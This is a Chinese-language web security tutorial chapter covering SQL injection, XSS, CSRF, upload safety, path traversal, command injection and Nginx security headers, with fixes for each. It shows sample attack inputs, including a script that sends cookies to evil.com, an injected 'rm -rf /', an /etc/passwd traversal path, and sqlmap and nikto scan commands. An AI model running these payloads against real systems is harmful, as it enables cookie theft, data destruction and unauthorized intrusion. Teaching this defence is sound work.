Skip to content

🌐 Web 应用安全 ​

防火墙和系统加固保护了服务器本身,但真正的软肋往往在 Web 应用层。PHP/Python/Node.js 代码里的一个疏忽,就能让前面所有防线形同虚设。OWASP Top 10 是行业的"恐怖榜",我们逐一攻破。

SQL 注入 ​

原理 ​

攻击者在输入框中拼接恶意 SQL 片段,操控数据库执行非预期操作。

用户输入: ' OR '1'='1' --
拼接结果: SELECT * FROM users WHERE name = '' OR '1'='1' --'
结果: 绕过身份验证,返回所有用户

防御:参数化查询 ​

python
# ❌ 错误:字符串拼接
cursor.execute(f"SELECT * FROM users WHERE name = '{user_input}'")

# ✅ 正确:参数化查询
cursor.execute("SELECT * FROM users WHERE name = ?", (user_input,))
php
// ❌ 错误
$query = "SELECT * FROM users WHERE id = " . $_GET['id'];

// ✅ 正确:PDO 预处理
$stmt = $pdo->prepare("SELECT * FROM users WHERE id = :id");
$stmt->execute(['id' => $_GET['id']]);
javascript
// ❌ 错误(Node.js)
const query = `SELECT * FROM users WHERE name = '${req.body.name}'`;

// ✅ 正确
const [rows] = await db.execute(
  'SELECT * FROM users WHERE name = ?', [req.body.name]
);

黄金法则

永远不要相信用户输入。永远用参数化查询。 任何把用户输入拼接到 SQL 中的代码都是安全的定时炸弹。

ORM 如 Sequelize、SQLAlchemy 也做了自动参数化,但原生查询(raw query)仍需警惕。

XSS(跨站脚本攻击) ​

原理 ​

攻击者在页面中注入恶意脚本,当其他用户浏览时在浏览器中执行。

存储型:恶意代码被存入数据库(如博客评论) 反射型:恶意代码在 URL 参数中,需要诱导点击 DOM 型:纯前端的 JS 注入,通过内嵌代码操作 DOM

html
<!-- 存储型:评论区内容直接渲染 -->
<script>fetch('https://evil.com/?c=' + document.cookie)</script>

<!-- 反射型:URL 参数未过滤 -->
https://example.com/search?q=<script>alert(1)</script>

防御 ​

html
<!-- 1. 输出编码(最重要) -->
<!-- 在服务端模板中: -->
<!-- Jinja2: {{ user_input }} → 自动转义 -->
<!-- EJS: <%= user_input %> → 自动转义,用 <%- 才不转义 -->

<!-- 2. CSP 头:限制脚本来源 -->
Content-Security-Policy: default-src 'self'; script-src 'self' 'nonce-random123';

Nginx 加 CSP:

nginx
add_header Content-Security-Policy "default-src 'self'; script-src 'self' https://trusted-cdn.com; style-src 'self' 'unsafe-inline';" always;
javascript
// 3. 前端最佳实践
element.textContent = userInput;     // ✅ 安全:不解析 HTML
element.innerHTML = userInput;       // ❌ 危险:会解析 HTML

CSRF(跨站请求伪造) ​

原理 ​

用户在已登录 example.com 的情况下,访问了攻击者的页面。攻击者页面自动发起一个对 example.com 的请求(如转账、修改密码),浏览器自动携带 example.com 的 Cookie,example.com 以为这是用户的正常操作。

防御 ​

javascript
// 1. CSRF Token(最可靠)
// 服务端生成随机 token,嵌入表单
<form method="POST" action="/transfer">
  <input type="hidden" name="csrf_token" value="{{ csrf_token }}">
  <input name="amount">
</form>
// 后端验证:请求提交的 token 必须与 session 中一致

// 2. SameSite Cookie
Set-Cookie: session=abc123; SameSite=Lax; Secure; HttpOnly
// SameSite=Strict: 完全禁止跨站携带
// SameSite=Lax: 允许 GET 导航但不允许 POST(比较平衡)
nginx
# 在反向代理层修改 Cookie 属性(Nginx >= 1.19.3)
# 注意:Set-Cookie 头需在应用层设置,Nginx 只能修改已有 Cookie 的属性
proxy_cookie_path / "/; HttpOnly; Secure; SameSite=Lax";

文件上传安全 ​

python
# 安全的文件上传处理
import os
import uuid
import magic

ALLOWED_EXTENSIONS = {'jpg', 'jpeg', 'png', 'gif', 'pdf'}
ALLOWED_MIMETYPES = {'image/jpeg', 'image/png', 'image/gif', 'application/pdf'}
MAX_SIZE = 10 * 1024 * 1024  # 10MB

def safe_upload(file):
    # 1. 大小检查
    if file.size > MAX_SIZE:
        raise ValueError("文件过大")

    # 2. MIME 类型检查(用 magic 检测实际内容,不是扩展名)
    mime = magic.from_buffer(file.read(1024), mime=True)
    file.seek(0)
    if mime not in ALLOWED_MIMETYPES:
        raise ValueError(f"不允许的文件类型: {mime}")

    # 3. 用 UUID 生成随机文件名,不保留原始文件名
    ext = file.filename.rsplit('.', 1)[-1].lower()
    if ext not in ALLOWED_EXTENSIONS:
        raise ValueError("不允许的扩展名")

    safe_name = f"{uuid.uuid4().hex}.{ext}"

    # 4. 存储到 Web 根目录之外,或配置为不解析脚本
    upload_dir = '/var/uploads/'
    file.save(os.path.join(upload_dir, safe_name))

    # 5. 设置文件权限(去掉执行位)
    os.chmod(os.path.join(upload_dir, safe_name), 0o644)

危险

上传目录绝对不能在 Web 根目录下且允许脚本执行。攻击者上传 PHP 后门(如 shell.php)后,直接通过 URL 访问即可获得服务器控制权。

Nginx 限制上传目录:

nginx
# 上传目录禁止执行脚本
location /uploads/ {
    location ~ \.php$ { deny all; }
    location ~ \.pl$  { deny all; }
}
# 限制上传大小
client_max_body_size 10M;

目录遍历 ​

# 攻击者尝试:
https://example.com/download?file=../../../etc/passwd

防御:

python
import os
BASE_DIR = '/var/uploads/'

def safe_read(filename):
    real_path = os.path.realpath(os.path.join(BASE_DIR, filename))
    if not real_path.startswith(os.path.realpath(BASE_DIR)):
        raise ValueError("路径穿越攻击!")
    with open(real_path) as f:
        return f.read()

命令注入 ​

bash
# 用户输入: example.com; rm -rf /
# 拼接结果: ping -c 3 example.com; rm -rf /

防御:

python
import subprocess

# ❌ 危险
os.system(f"ping -c 3 {user_input}")

# ✅ 只用参数列表,不用 shell
subprocess.run(["ping", "-c", "3", user_input], shell=False)

Nginx 安全头配置 ​

一套完整的安全头:

nginx
# 禁止页面被嵌入 iframe(防点击劫持)
add_header X-Frame-Options "DENY" always;

# 禁止 MIME 类型嗅探
add_header X-Content-Type-Options "nosniff" always;

# 引用策略
add_header Referrer-Policy "strict-origin-when-cross-origin" always;

# 权限策略(限制浏览器 API)
add_header Permissions-Policy "camera=(), microphone=(), geolocation=()" always;

# CSP(内容安全策略)——最重量级的安全头
add_header Content-Security-Policy "default-src 'self'; script-src 'self' 'nonce-$request_id'; object-src 'none'; base-uri 'self'; frame-ancestors 'none';" always;

# 移除服务器版本信息
server_tokens off;

常用 Web 安全测试工具 ​

工具用途一句话
sqlmapSQL 注入自动化探测/利用sqlmap -u "https://target.com/page?id=1" --dbs
niktoWeb 服务器漏洞扫描nikto -h https://target.com
OWASP ZAP全功能 Web 安全扫描器(GUI + API)适合自动化 CI/CD 集成
Burp SuiteHTTP 代理/拦截/重放手动渗透测试首选
bash
# 用 nmap 扫描 Web 漏洞
nmap --script http-sql-injection,http-csrf,http-xssed -p 443 target.com

# nikto 快速扫描
nikto -h https://example.com

危险

上述工具仅限自己拥有或获得书面授权的系统。未经许可扫描他人系统可能触犯《刑法》第 285/286 条。

🧪 练习题 ​

  1. 写一个登录接口,演示 SQL 注入攻击如何绕过验证,然后用参数化查询修复
  2. 搭建一个简单的留言板,演示 XSS 反射型攻击和 CSP 防御
  3. 用 Nginx 安全头配置一个 HTTPS 站点,用 securityheaders.com 检测评分

Web 层守住了,还要有持续的监控——入侵检测。


🎯 本章要点 ​

  • 参数化查询(预编译语句)是 SQL 注入核心防御手段
  • Python 中用 ? 占位符 + 元组传参,绝不用 f-string 拼接用户输入
  • XSS 防御核心是对用户输出进行 HTML 转义,将 < 变成 <